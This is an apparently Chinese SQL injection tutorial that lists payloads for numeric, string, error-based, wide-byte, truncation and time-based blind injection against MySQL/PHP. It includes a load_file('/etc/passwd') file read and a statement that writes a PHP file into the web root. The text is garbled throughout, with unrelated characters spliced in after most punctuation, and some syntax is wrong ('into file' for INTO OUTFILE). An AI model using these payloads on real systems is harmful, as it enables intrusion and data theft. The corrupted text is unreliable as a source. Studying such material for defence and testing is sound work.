先看一個sql語句:
select * from admin where username='(此處為用戶輸入的數(shù)據(jù))';
在沒有任何過濾的情況下却桶,如果用戶輸入:' or 1=1 --
這條語句就為:select * from admin where username='' or 1=1 --';
可見辱魁,語句執(zhí)行永遠為真。此時就進行了sql注入战秋。
SQL注入有如下分類:
一熬尺、數(shù)字型注入
初始參數(shù)為:id=1
可以構(gòu)造:id=1 or 1=1 (語句執(zhí)行永遠為真)
id=1 and 1=2 (語句執(zhí)行永遠為假)
id=1' (語句執(zhí)行會出錯)
數(shù)字型注入較為簡單轻猖,而且一般在PHP鲜结,ASP等弱類型語言中存在瘸爽,而對于Java您访,C#等強類型語言一般不存在。
二剪决、字符型注入
字符型注入首先想到的是閉合單引號灵汪。
不難想到:id=1' and 1=2 --
-- 是注釋后邊的語句。
三柑潦、其他注入
sql注入其實可以說就是字符型注入和數(shù)字型注入享言。
還有一些常見的注入,如:
POST注入:注入字段在POST數(shù)據(jù)中渗鬼。
Cookie注入:注入字段在Cookie字段中览露。
延時注入:使用數(shù)據(jù)庫延時特性注入。
base64注入:注入字符串需要經(jīng)過base64加密譬胎。
四差牛、Mysql特性
mysql是一種數(shù)據(jù)庫。
(1)三種注釋:
#:注釋從“#”字符到行尾堰乔。
--:注釋“-- ”序列到行尾偏化。注意:“-- ”后面要加一個空格。
/**/:注釋/*? XXXX */中間的字符镐侯。
/**/注釋存在一個特點:select id /*!55555,username*/ from users
語句正常執(zhí)行侦讨。/*!55555,username*/的意思是若Mysql版本號高于或者等于5.55.55,語句將會被執(zhí)行析孽。如果“搭伤!”后面不加入版本號,將直接執(zhí)行sql語句袜瞬。
(2)mysql函數(shù)利用
load_file()函數(shù)讀文件
讀取文件怜俐,文件必須在服務(wù)器上,文件必須為絕對路徑邓尤,必須有權(quán)限拍鲤,文件容量小于? ? ? ? ?max_allowed_packet字節(jié)(默認為16MB,最大為1GB),如:
union select 1,load_file('/etc/passwd'),3,4,5,6 #
繞過單引號:union select 1,load_file(字符串轉(zhuǎn)換為十六進制),3,4,5,6 #
union select 1,load_file(char(XX,XX,XX........)),3,4,5,6 #? ?ascii碼
into outfile寫文件操作
必須持有權(quán)限汞扎,文件名為絕對路徑季稳。
如:select '<?php phpinfo(); ?>' into file 'c:\wwwroot\1.php'
繞過單引號:select char(XX,XX,XX.......) into file 'c:\wwwroot\1.php'
concat 連接字符串
concat(user(),0x2c,database())
concat_ws(0x2c,user(),database())? ? ? ?0x2c是 逗號的16進制。
五澈魄、Mysql報錯注入
(1)updatexml
select * from admin where id=1 and updatexml(1,(concat(0x7c,(select @@version))),1);
結(jié)果返回一個錯誤:'|5.1.50-community-log'
(2)extractvalue
select * from admin where id=1 and extractvalue(1,concat(0x7c,(select user())));
結(jié)果返回一個錯誤:'|root@localhost'
(3)floor
select * from admin where id = 1 union select * from (select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b
結(jié)果返回:Duplicate entry '1root@localhost' for key 'group_key'
六景鼠、寬字節(jié)注入
如果PHP開啟了魔術(shù)引號,就會將單引號,雙引號铛漓,反斜杠和NULL字符加上反斜杠轉(zhuǎn)義溯香。
如:id='? ?會輸出? ? \'
這時我們可以使用寬字節(jié)注入:id=%d5'? ? ?輸出:誠'? ?注入成功。
我們將? 誠 進行url編碼:%d5%5c
而 \的url編碼為:%5c? ?可見 浓恶,繁體字將反斜杠吃掉了玫坛。這就是寬字節(jié)注入的原理。
七包晰、長字符截斷
原理很簡單湿镀。
比如在數(shù)據(jù)庫創(chuàng)建三個如下用戶:
admin? ?(有三個空格)
admin? ? ?(有五個空格)
admin? ? ? ?(有七個空格)
三個用戶名長度不一樣,但是如果 查詢admin用戶名伐憾,三個用戶名都會被查詢到勉痴。
假設(shè)后臺語句是:
select count(*) from users where username='admin' and password='******';
這是存在安全問題的,如果用戶創(chuàng)建一個“admin? ? ? ? ? ”用戶树肃,即可輕易進入后臺蚀腿,著名的wordpress就被這樣的方式攻擊過。
八扫外、延時注入
基于時間差異的盲注手段。延時注入需要用到sleep()函數(shù)廓脆。
如:select * from users where id = 1 and sleep(3)? ? #三秒后執(zhí)行sql語句筛谚。
也可以判斷是否存在注入:url+id=1 and sleep(3)? 頁面三秒左右打開,則存在注入停忿。
通常 會采用和 if 函數(shù) 搭配使用驾讲,進行爆破字符串。
如: and if(hex(mid(user(),L,1)))=N,sleep(3),1)
L的位置代表字符串的第幾個字符席赂,N代表ASCII碼吮铭。
執(zhí)行成功,則三秒左右返回頁面颅停,否則谓晌,和原來相同。
ps:堅持癞揉,努力纸肉,為夢想奮斗。